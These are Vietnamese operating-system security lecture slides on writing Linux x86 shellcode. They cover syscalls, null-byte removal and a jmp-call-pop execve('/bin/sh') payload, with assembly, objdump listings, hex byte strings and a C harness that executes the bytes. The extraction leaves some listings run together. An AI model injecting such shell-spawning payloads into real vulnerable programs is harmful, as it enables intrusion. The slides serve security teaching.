Bài giảng An toàn Hệ điều hành: Shellcode cung cấp cho người học các kiến thức: Khái niệm shellcode, system call, Windows shellcode và Linux shellcode, linux shellcoding, viết shellcode cho exit() syscall,... Mời các bạn cùng tham khảo nội dung chi tiết.
Trang 1NGUYỄN HỒNG SƠN
PTITHCM
Shellcode
Trang 2Khái niệm shellcode
Nghĩa phổ biến trước đây: một chương trình khi thực thi sẽ cung cấp một shell
Ví dụ: '/bin/sh' cho Unix/Linux shell, hay command.com shell trên DOS và Microsoft Windows
Nghĩa rộng hơn: bất kỳ byte code nào được chèn vào một quá trình khai thác lỗ hổng để hoàn thành một tác
vụ mong muốn Có nghĩa là một payload
Trang 3Khái niệm shellcode (2/2)
Shellcode được viết dưới dạng ngôn ngữ assembly, trích xuất các opcode dưới dạng hexa
và dùng như là các biến string trong chương trình
Các thư viện chuẩn không hỗ trợ shellcode, phải dùng kernel system call của hệ điều hành một cách trực tiếp
Trang 4System call
Là mã chương trình chạy trong ngữ cảnh của user (user space) yêu cầu kernel thực hiện các công việc khác nhau như mở, đọc file, tạo một phân vùng bộ nhớ…
Các system call thường được thực hiện theo thủ tục nhất định như nạp một giá trị vào thanh ghi và gọi một ngắt tương ứng (ví dụ syscall exit ở ví dụ 1)
Trang 5Windows shellcode và Linux shellcode
Linux cho phép giao tiếp trực tiếp với kernel qua int 0x80
Windows không cho phép giao tiếp trực tiếp với kernel,
hệ thống phải giao tiếp bằng cách nạp địa chỉ của hàm_cần được thực thi từ DLL.
Địa chỉ của hàm được tìm thấy trong windows sẽ thay đổi tùy theo phiên bản của OS trong khi các 0x80 syscall number là không đổi
Trang 6Chỉ bằng cách cung cấp địa chỉ chính xác trên memory page
và chỉ có thể làm vào thời điểm biên dịch
Cách dễ nhất là dùng chuỗi trong shellcode như ví dụ đơn
Trang 7#pop register, dựa vào đó biết được vị trí chuỗi
#Tại đây là các assembly instructions sẽ dùng chuỗi
dummy:
call _start
đặt chuỗi chỗ này
Trang 8Linux Shellcoding
/*shellcodetest.c*/
char code[] = “ chuỗi mã lệnh !";
int main(int argc, char **argv) {
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
Trang 9Viết Shellcode cho exit() syscall
Viết system call trong ngôn ngữ C
compiled và disassembled, thấy những gì các chỉ thị thực sự làm
Trang 10exit syscall
asm code to call exit (ví dụ 1)
;exit.asm section text global _start _start:
mov ebx,0 mov eax,1 int 0x80
Trang 11exit_shellcode: file format elf32-i386
Disassembly of section text:
08048080 <.text>:
8048080: bb 00 00 00 00 mov $0x0,%ebx
8048085: b8 01 00 00 00 mov $0x1,%eax
804808a: cd 80 int $0x80
Trang 12xor eax, eax ;clean up the registers
xor ebx, ebx
xor edx, edx
xor ecx, ecx
mov al, 4 ;syscall write
mov bl, 1 ;stdout is 1
pop ecx ;get the address of the string from the stackmov dl, 5 ;length of the string
int 0x80
xor eax, eax
mov al, 1 ;exit the shellcode
xor ebx,ebx
int 0x80
Trang 13$ nasm -f elf hello.asm
8048093: 31 c0 xor %eax,%eax8048095: b0 01 mov $0x1,%al8048097: 31 db xor %ebx,%ebx8048099: cd 80 int $0x80
0804809b <ender>:
804809b: e8 e2 ff ff ff call 8048082
Trang 14char code[] =
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"
\
"\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";
Trang 16Hai chỉ thị đầu làm phát sinh null
Mov ebx,0 sẽ tạo ra null, thay bằng xor ebx,ebx sẽ tránh xuất hiện null trong opcode
Chỉ thị thứ hai dùng eax có 4 byte dẫn đến khi nạp 1 vào thì phần còn lại chứa null, đổi thành mov al,1
mov ebx,0 \xbb\x00\x00\x00\x00 mov eax,1 \xb8\x01\x00\x00\x00 int 0x80 \xcd\x80
xor ebx,ebx mov al,1
int 0x80
Trang 17;exit.asm
section text
global _start _start:
xor eax, eax ; mov al, 1 ;exit is syscall
1
xor ebx,ebx ;zero out ebx
Viết lại mã hợp ngữ
Trang 18Thay vào shellcodetest.c
char code[] = "\xb0\x01\x31\xdb\xcd\x80";
Trang 19Lấy một shell
Năm bước:
1 Viết shellcode lấy shell như mong muốn bằng ngôn ngữ cấp cao.
2 Compile và disassemble chương trình shellcode (ngôn ngữ cấp cao).
3 Phân tích cách làm việc của chương trình ở mức assembly.
4 Giản lược để tạo một chương trình dưới dạng aseembly nhỏ gọn và
có tính năng injectable như đã nói trên.
5 Trích mã máy (instruction code) và tạo shellcode.
Trang 20Step 1
Cách dễ nhất để tạo một shell là dùng công cụ tạo một tiến trình mới
Có 2 cách tạo:
Thông qua một tiến trình đã có và thay thế program đã chạy
Copy một tiến trình có sẵn và chạy program mới tại vị trí của nó
Kernel sẽ hỗ trợ, chỉ cần báo cho kernel biết cần làm gì bằng cách dùng fork() và execve()
Trang 21Chương trình lấy shell của linux
Trang 22Step 2
Để chương trình C này được thực thi khi nạp vào vùng nhập sơ hở (vulnerable input area) của máy tính, code phải được dịch sang chỉ thị mã hexa
Dịch chương trình dùng static (tránh dynamic link để giữ execve)
Disassembly chương trình dùng objdump
gcc -static –o spawnshell spawnshell.c
Trang 23Step 3
Phân tích chương trình ở dạng hợp ngữ (sau disassembly)
Trang 24Step 4
Đơn giản chương trình dưới dạng assembly
Thu gọn, dùng ít bộ nhớ
Xử lý ký tự null
Trang 25Step 5
Compile và disassembly để lấy các mã máy
Trang 2680481de: 29 c4 sub %eax,%esp
80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp)
80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp)
80481ee: 83 ec 04 sub $0x4,%esp
Trang 27804da06: 8b 4d 0c mov 0xc(%ebp),%ecx
804da09: 8b 55 10 mov 0x10(%ebp),%edx
804da0c: 53 push %ebx
804da0d: 89 fb mov %edi,%ebx
804da0f: b8 0b 00 00 00 mov $0xb,%eax
804da14: cd 80 int $0x80
804da16: 5b pop %ebx
804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804da1c: 89 c3 mov %eax,%ebx
804da1e: 77 06 ja 804da26 < execve+0x36> 804da20: 89 d8 mov %ebx,%eax
804da22: 5b pop %ebx
804da23: 5f pop %edi
804da24: c9 leave
804da25: c3 ret
804da26: f7 db neg %ebx
804da28: e8 cf ab ff ff call 80485fc < errno_location> 804da2d: 89 18 mov %ebx,(%eax)
804da2f: bb ff ff ff ff mov $0xffffffff,%ebx
804da34: eb ea jmp 804da20 < execve+0x30>
Trang 28Execve() syscall
Execve được chuyển thành danh sách rất dài các chỉ thị assembly trong shellcode
Thực thi chương trình được trỏ bởi filename Filename phải bản
thực thi nhị phân hay scrip với một dòng dạng “#! Interpreter [arg]”
Argv là một mảng của chuỗi được chuyển cho chương trình mới
Envp là một mảng của chuỗi, ở dạng key=value, được chuyển như biến môi trường cho chương trình mới
Cả argv và envp đều phải kết thúc bằng con trỏ null
int execve(const char *filename, char *const argv[], char *const envp[]);
Trang 29Man page của execve
EXECVE(2) Linux Programmer's Manual EXECVE(2)
Trang 30Phân tích thu gọn
section .text
global _start_start:
jmp short GotoCallshellcode:
pop esi ; lưu địa chỉ của"/bin/sh" trong ESI
xor eax, eax ; biến nội dung của EAX thành zero
mov byte [esi + 7], al ; ghi null byte vào cuối chuỗi
mov dword [esi + 8], esi ; [ESI+8], vị trí nhớ ngay sau chuỗi
mov dword [esi + 12], eax ; ghi null pointer vào vị trí [ESI+12]
mov al, 0xb ; ghi sysnum (11) vào EAX
lea ebx, [esi] ; chép địa chỉ chuỗi vào EBX
lea ecx, [esi + 8] ; chép tham số thứ 2 của execve
lea edx, [esi + 12] ; chép tham số thứ 3 của execve (NULL pointer)int 0x80 ; gọi ngắt
GotoCall:
call shellcode
Trang 3110: 8d 1e lea (%esi),%ebx12: 8d 4e 08 lea 0x8(%esi),%ecx15: 8d 56 0c lea 0xc(%esi),%edx18: cd 80 int $0x80
0000001a <GotoCall>:
1a: e8 e3 ff ff ff call 2 <shellcode>
1f: 2f das 20: 62 69 6e bound %ebp,0x6e(%ecx)
[son@localhost]$ nasm -f elf
execve2.asm
[son@localhost]$ld -o execve2
execve2.o
[son@localhost]$objdump -d execve2
Trang 3280480a8: 4a dec %edx80480a9: 41 inc %ecx80480aa: 41 inc %ecx80480ab: 41 inc %ecx80480ac: 41 inc %ecx80480ad: 4b dec %ebx80480ae: 4b dec %ebx80480af: 4b dec %ebx80480b0: 4b dec %ebx
Trang 35HẾT